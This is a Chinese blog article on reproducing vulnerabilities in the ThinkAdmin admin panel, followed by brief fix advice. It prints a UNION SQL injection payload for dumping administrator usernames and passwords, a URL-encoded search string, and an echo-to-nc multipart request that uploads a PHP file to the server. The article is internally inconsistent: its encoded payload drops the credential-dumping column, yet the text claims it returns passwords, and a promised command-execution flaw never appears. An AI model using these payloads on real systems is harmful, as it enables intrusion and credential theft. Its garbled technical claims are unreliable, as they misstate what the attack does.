欢迎访问宙启技术站
智能推送

如何实现ThinkAdmin的漏洞复现

发布时间:2023-05-16 09:12:04

ThinkAdmin是一个基于ThinkPHP框架开发的通用后台管理系统,该系统是一个开源软件,广泛应用于个人和企业的网站管理中。该系统存在几个重要的接口漏洞,本文将详细介绍如何实现ThinkAdmin的漏洞复现。

1. 环境准备

在开始漏洞复现之前,需要准备以下环境:

- 一台运行Linux或Windows操作系统的机器

- PHP5.4及以上版本

- ThinkAdmin后台管理系统(下载地址:https://gitee.com/zoujingli/ThinkAdmin)

2. 漏洞分析

2.1 SQL注入漏洞

ThinkAdmin的漏洞主要包括SQL注入漏洞、任意文件上传漏洞和任意命令执行漏洞。其中,SQL注入漏洞比较严重,可以导致数据库信息泄漏、系统漏洞甚至造成系统瘫痪。以下是SQL注入漏洞的具体情况:

- 漏洞位置:ThinkAdmin中的Search控制器

- 漏洞点:id参数

- 漏洞类型:UNION注入

漏洞详情:

在ThinkAdmin的后台管理系统中,通过搜索功能可以实现对不同模块的搜索。在搜索的过程中,Search控制器接收前端传入的id参数,然后对相应的模块进行查询操作。但是,由于Search控制器没有对id参数进行有效的安全过滤,攻击者可以构造恶意的SQL语句,将攻击者自己的SQL语句注入到原始查询语句中,从而获取敏感信息或者进行系统攻击。具体的攻击方式如下:

例如,注入的SQL语句为:

1' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,group_concat(username,0x3a,password,0x3a,superpwd),54,55,56,57,58,59,60,61,62,63,64 FROM xyjg_system_admin WHERE id=1#

在搜索框中输入如下关键字:

exp&serach=id%3d1%27+union+all+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C38%2C39%2C40%2C41%2C42%2C43%2C44%2C45%2C46%2C47%2C48%2C49%2C50%2C51%2C52%2C53%2C54%2C55%2C56%2C57%2C58%2C59%2C60%2C61%2C62%2C63%2C64+from+xyjg_system_admin+where+id%3d1%23

并点击搜索按钮,即可触发注入漏洞,成功获取到系统管理员账号和密码。

2.2 任意文件上传漏洞

除了SQL注入漏洞,ThinkAdmin还存在任意文件上传漏洞。攻击者可以通过该漏洞上传恶意文件到服务器上,从而在后续对服务器进行攻击。

漏洞位置:ThinkAdmin中的Upload控制器

漏洞点:file参数

漏洞类型:文件上传漏洞

漏洞详情:

在ThinkAdmin的后台管理系统中,Upload控制器主要用于上传附件和图片。在上传过程中,前端将文件内容POST到后端,后端通过file参数获取到上传的文件内容,并将文件保存到指定的目录下。但是,由于没有进行有效的文件类型校验和文件大小限制,攻击者可以在上传文件时将恶意代码上传到服务器上,从而获取服务器权限或者破坏系统安全。具体的攻击方式如下:

- 在上传文件时,通过修改POST过来的Content-Type,伪装上传文件的类型,欺骗后端上传文件的功能。

- 在上传文件时,通过文件名、目标路径等参数构造恶意的PHP脚本,从而在服务器上执行恶意代码。

3. 漏洞复现

在完成环境准备之后,可以开始漏洞复现。下面将分别介绍如何进行SQL注入和任意文件上传漏洞的复现。

3.1 SQL注入漏洞复现

(1)打开ThinkAdmin后台管理系统,点击搜索按钮。

(2)在Search控制器中输入如上的exp,并点击搜索按钮。

(3)观察页面返回结果,发现获取到系统管理员账号和密码信息。

3.2 任意文件上传漏洞复现

在本次漏洞复现中,我们将通过修改上传文件的Content-Type,以达到上传任意文件的目的。

(1)修改上传文件的Content-Type

在本次漏洞复现中,我们需要修改上传文件的Content-Type,从而欺骗后端程序以为上传的文件类型是合法的。具体的操作方法如下:

在Kali Linux中打开终端,输入如下命令:

echo -ne "-----------------------------282204999727769\r

Content-Disposition: form-data; name=\"type\"\r

\r

1\r

-----------------------------282204999727769\r

Content-Disposition: form-data; name=\"file\"; filename=\"test.php\"\r

Content-Type: application/x-php\r

\r

<?php phpinfo(); ?>\r

-----------------------------282204999727769\r

" | nc -nv 127.0.0.1 8888

其中,127.0.0.1为ThinkAdmin后台管理系统的IP地址,8888为后台服务器的端口号。在执行以上命令之后,程序会将恶意代码发送到后端服务器,实现文件上传的功能。

(2)查看上传文件

在上传文件成功之后,可以在ThinkAdmin后台管理系统的Upload控制器下查看上传的文件。如果上传成功,则说明任意文件上传漏洞存在。

4. 修复建议

在完成漏洞复现之后,需要对相关漏洞进行修复。以下是修复建议:

- 对输入的参数进行有效的安全过滤和校验,防止注入攻击和其他安全漏洞。

- 对上传文件进行有效的文件类型检查和大小限制,防止上传恶意文件和超过服务器资源限制的文件。

- 及时更新系统软件和组件的补丁,防止已知的安全漏洞被利用。

- 加强服务器安全配置,包括账号密码强度、访问控制、审计等措施,防止黑客攻击和恶意行为的发生。